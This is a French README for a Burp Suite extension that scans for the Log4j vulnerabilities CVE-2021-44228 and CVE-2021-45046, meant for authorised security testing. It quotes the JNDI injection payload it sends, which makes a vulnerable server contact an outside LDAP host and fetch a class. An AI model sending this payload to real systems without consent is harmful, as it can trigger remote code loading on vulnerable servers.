dxc-strikeforce/burp-log4j-hammertimeExtension de scan actif Burp pour identifier les vulnérabilités Log4j CVE-2021-44228 et CVE-2021-45046
Cette extension de scanner actif Burp Suite valide l'exploitation des vulnérabilités Apache Log4j CVE-2021-44228 et CVE-2021-45046.
Cette extension utilise le Burp Collaborator pour vérifier le problème.
Si vous souhaitez exécuter uniquement les vérifications de ce module, vous pouvez importer le profil extensions-only.json et le sélectionner comme profil de scan actif.
Lors d'un scan actif, les points d'injection suivants sont essayés dans cette extension :
À chaque point d'injection, la requête est injectée avec la charge utile suivante :
${jndi:ldap://{BURPCOLLABORATOR}/exploit.class}
De plus, cette extension ajoute de nombreux en-têtes qui sont activés dans headers (lignes non commentées). Ces en-têtes sont injectés un par un dans une requête séparée.
Ce projet est conçu à des fins éducatives et de tests éthiques uniquement. L'utilisation de Log4Shell-active-scanner pour attaquer des cibles sans consentement mutuel préalable est illégale. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, nationales et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de toute mauvaise utilisation ou de tout dommage causé par ce programme.
Le projet est sous licence MIT.
